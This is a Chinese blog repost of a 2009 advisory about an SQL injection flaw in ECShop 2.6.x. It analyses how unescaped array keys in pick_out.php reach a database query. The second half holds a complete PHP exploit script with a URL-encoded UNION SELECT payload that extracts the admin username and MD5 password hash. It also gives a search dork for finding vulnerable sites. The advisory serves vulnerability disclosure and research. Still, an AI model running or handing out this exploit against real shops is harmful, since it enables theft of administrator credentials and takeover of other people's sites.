`

ECSHOP 系统过滤不严导致SQL注入漏洞

    博客分类:
  • PHP
阅读更多
SSV-ID: 11412
SSV-Appdir: ECSHOP
发布时间: 2009-05-25
影响版本:
ECSHOP 2.6.1/2.6.2
漏洞描述:
文件includes/init.php判断get_magic_quotes_gpc(),如果为off则调用addslashes_deep():
 

   1. // includes/init.php  
   2. if (!get_magic_quotes_gpc())  
   3. {  
   4.     if (!emptyempty($_GET))  
   5.     {  
   6.         $_GET  = addslashes_deep($_GET);  
   7.     }  
   8.     if (!emptyempty($_POST))  
   9.     {  
  10.         $_POST = addslashes_deep($_POST);  
  11.     }  
  12.   
  13.     $_COOKIE   = addslashes_deep($_COOKIE);  
  14.     $_REQUEST  = addslashes_deep($_REQUEST);  
  15. }  

addslashes_deep()在文件includes/lib_base.php里最后通过addslashes()处理
 

   1. // includes/lib_base.php  
   2. function addslashes_deep($value)  
   3. {  
   4.     if (emptyempty($value))  
   5.     {  
   6.         return $value;  
   7.     }  
   8.     else  
   9.     {  
  10.         return is_array($value) ? array_map('addslashes_deep', $value) : addslashes($value);  
  11.     // 只处理了数组的值:)  
  12.     }  
  13. }  

下面看下具体的导致漏洞的代码,文件 pick_out.php里:
 
 

   1. // pick_out.php  
   2. if (!emptyempty($_GET['attr']))  
   3. {  
   4.     foreach($_GET['attr'] as $key => $value)  
   5.     {  
   6.         $key = intval($key);  
   7.         $_GET['attr'][$key] = htmlspecialchars($value);  
   8.         // foreach处理的是指定数组的拷贝,所以这里的处理并不影响数组原先的key和value  
   9.         // 因此可以引入任意的key:)  
  10.         // 程序员的逻辑出了问题?  
  11.     }  
  12. }  
  13. ...  
  14.         foreach ($_GET['attr'] AS $key => $value)  
  15.         {  
  16.             $attr_url .= '&attr[' . $key . ']=' . $value;  
  17.   
  18.             $attr_picks[] = $key;  
  19.             if ($i > 0)  
  20.             {  
  21.                 if (emptyempty($goods_result))  
  22.                 {  
  23.                     break;  
  24.                 }  
  25.                 // 利用key进行注射:)  
  26.                 $goods_result = $db->getCol("SELECT goods_id FROM " . $ecs->table("goods_attr") . " WHERE goods_id IN (" . implode(',' , $goods_result) . ") AND attr_id='$key' AND attrvalue='$value'");  

由于magic_quotes_gpc=off时没有对$key处理,同时在数组赋值时存在逻辑问题,最终导致了注射漏洞.
<*参考
ryat#wolvez.org
http://www.80vul.com
*>
测试方法:
[sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
   1.  #!/usr/bin/php  
   2. <?php  
   3. //本程序只作技术交流,请不要用做非法用途!!  
   4. print_r('  
   5. +---------------------------------------------------------------------------+  
   6. ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit  
   7. by puret_t  
   8. mail: puretot at gmail dot com  
   9. team: http://bbs.wolvez.org  
  10. dork: "Powered by ECShop"  
  11. +---------------------------------------------------------------------------+  
  12. ');  
  13. /** 
  14.  * works with magic_quotes_gpc = Off 
  15.  */  
  16. if ($argc < 3) {  
  17.     print_r('  
  18. +---------------------------------------------------------------------------+  
  19. Usage: php '.$argv[0].' host path  
  20. host:      target server (ip/hostname)  
  21. path:      path to ecshop  
  22. Example:  
  23. php '.$argv[0].' localhost /ecshop/  
  24. +---------------------------------------------------------------------------+  
  25. ');  
  26.     exit;  
  27. }  
  28.   
  29. error_reporting(7);  
  30. ini_set('max_execution_time', 0);  
  31.   
  32. $host = $argv[1];  
  33. $path = $argv[2];  
  34.   
  35. $resp = send();  
  36. preg_match('#IN\s\(([\S]+):([a-z0-9]{32})\)#', $resp, $hash);  
  37.   
  38. if ($hash)  
  39.     exit("Expoilt Success!\nadmin:\t$hash[1]\nPassword(md5):\t$hash[2]\n");  
  40. else  
  41.     exit("Exploit Failed!\n");  
  42.   
  43. function send()  
  44. {  
  45.     global $host, $path;  
  46.   
  47.     $cmd = 'cat_id=999999&attr[%27%20UNION%20SELECT%20CONCAT(user_name%2c0x3a%2cpassword)%20as%20goods_id%20FROM%20ecs_admin_user%20WHERE%20action_list%3d%27all%27%20LIMIT%201%23]=ryat';  
  48.   
  49.     $data = "GET ".$path."pick_out.php?".$cmd."  HTTP/1.1\r\n";  
  50.     $data .= "Host: $host\r\n";  
  51.     $data .= "Connection: Close\r\n\r\n";  
  52.   
  53.     $fp = fsockopen($host, 80);  
  54.     fputs($fp, $data);  
  55.   
  56.     $resp = '';  
  57.   
  58.     while ($fp && !feof($fp))  
  59.         $resp .= fread($fp, 1024);  
  60.   
  61.     return $resp;  
  62. }  
  63.   
  64. ?>  
分享到:
评论

相关推荐

    ecshop常见漏洞

    ECSHOP的配送地址页面网页没有验证地区参数的有效性,存在sql注入漏洞;ecshop的后台编辑文件/admin/affiliate_ck.php中,对输入参数auid未进行正确类型转义,导致整型注入的发生;ecshop的后台编辑文件/admin/...

    ECShop v2.7.2 正式版 GBK.rar

    礼包不能购买5、邮件杂志中添加插入图片插入相对路径导致发送邮件图片无法显示6、Search.php页面过滤不严导致SQL注入漏洞以及后台开店向导会产生的漏洞7、flow文件过滤不严8、前台用户越权操作9、礼包id未过滤10、...

    ECSHOP 利用工具

    "ecshop_2_7_2_flow_sql_inj.exe"这个文件可能是一个用于检测和利用ECSHOP 2.7.2版本SQL注入漏洞的工具。它可能是由安全研究人员或者黑客创建的,用于测试系统的脆弱性。这类工具通常会模拟恶意用户的输入,尝试执行...

    ECShop 注射漏洞利用工具

    针对ECShop的SQL注入漏洞,市场中出现了一些所谓的“ECShop 注射漏洞利用工具”,这些工具旨在帮助用户检测和利用ECShop平台上的安全漏洞。这类工具的存在,虽然可能帮助安全研究人员发现并修复潜在的风险,但更多地...

    web应用漏洞.docx

    3. ECShop 后台过滤不严可获取 shell:攻击者可以通过该漏洞获取 shell 权限。 4. FengCMS app/model/dbmanageModel.php 任意文件删除漏洞:攻击者可以通过该漏洞删除任意文件。 5. FengCMS app/model/messageModel....

    ECSHOP全版本注入0day

    本次介绍的是ECSHOP中的一个全版本SQL注入漏洞(0day),该漏洞可能允许攻击者通过构造恶意请求,获取数据库中的敏感信息,进而对网站进行进一步的攻击。 #### 关键概念解析 1. **SQL注入**:是一种常见的Web应用...

    ECshop--sqlTest

    6. **安全防护**:SQL注入是常见的攻击手段,ECShop会使用预处理语句或参数化查询来防止此类攻击。同时,对用户输入进行验证和清理也是必要的安全措施。 7. **数据库备份与恢复**:为了防止数据丢失,定期备份...

    ecshop初始化漏洞.rar

    这个漏洞可能出现在系统的初始化阶段,即当用户首次安装或设置ECSHOP时,由于代码逻辑错误或权限设置不当,可能导致攻击者在未经授权的情况下获取系统控制权,严重威胁到商家的数据安全和用户隐私。 描述简单明了,...

    ecshop模拟攻防系统

    - SQL注入攻击:学习如何利用输入验证不严的漏洞执行恶意SQL语句,以及如何防止此类攻击。 - XSS攻击:了解如何通过网页注入脚本代码来窃取用户信息,以及设置过滤规则和HTTP头部策略来防止XSS攻击。 - DDoS攻击:...

    ecshop源码分析——用cookie缓存sql语句

    标题中的“ecshop源码分析——用cookie缓存sql语句”揭示了本文将探讨的是电商系统ECSHOP在优化数据库查询性能方面的一个实践,即利用Cookie来缓存SQL语句。ECSHOP是一款基于PHP开发的开源电商解决方案,它的性能...

    ECshop网上商城系统

    9. **安全性**:作为一款成熟的电商系统,ECShop重视安全防护,通过数据加密、防SQL注入等手段保护商家和用户的数据安全。 10. **升级与维护**:随着技术的更新和市场需求的变化,ECShop会定期发布新版本,如2.7.2...

    ECshop漏洞利用工具

    ECshop漏洞利用工具 专门挖掘ECshop漏洞利用工具的漏洞,所以很好很强大的哦

    ECShop V2.7.2 UTF-8 正式版.rar

    [修正] 修正gbk手机发送错误 [修正] 修正category页面过滤不严导致SQL注入漏洞 [修正] 修正关闭库存管理且库存不足, 礼包不能购买 [修正] 修正邮件杂志中添加插入图片插入相对路径导致发送邮件图片无法显示 [修正] ...

    ECShop利用工具

    2. **XSS跨站脚本**:XSS攻击是利用网站应用程序对用户输入的数据处理不严,将恶意脚本插入到网页中,当其他用户访问这些页面时,恶意脚本被执行,可能导致会话劫持、个人信息窃取等。 3. **文件上传漏洞**:如果...

    ECshop漏洞

    然而,由于其开源性质,使得系统在设计或实现过程中可能会存在某些未被充分考虑的漏洞,这些漏洞一旦被恶意利用,可能会导致数据泄露、系统被控制等严重后果。 #### 漏洞代码分析 提供的代码片段是针对ECShop中的`...

    ecshop商城系统手册

    ECShop是上海商派网络科技有限公司(ShopEx)旗下——B2C独立网店系统,适合企业及个人快速构建个性化网上商店。系统是基于PHP语言及MYSQL数据库构架开发的跨平台开源程序。 ECShop悉心听取每一位商家的需求与建议...

    ECSHOP网上商店系统

    ECSHOP注重数据安全,提供了防SQL注入、XSS跨站脚本攻击等防护措施,保护商家和客户的敏感信息。 7. **售后服务** Comsenz公司通常为ECSHOP用户提供技术支持和售后服务,包括论坛讨论、在线问答、付费技术支持等...

    ECShop 安全补丁 v3.0.0 Release 20161230

    ECSHOP是一款开源免费的网上商店系统。由专业的开发团队升级维护,为您提供及时高效的技术支持,您还可以根据自己的商务特征对ECSHOP进行定制,增加自己商城的特色功能。...在特定条件下的SQL注入漏洞

    ecshop系统结构

    ### ecshop系统结构详解 #### 一、文件夹功能说明 **ecshop**是一款非常流行的开源电子商务系统,其系统架构清晰、易于维护和扩展。下面详细介绍ecshop的各个主要文件夹及其功能: 1. **根目录**:包含了前台程序...

Global site tag (gtag.js) - Google Analytics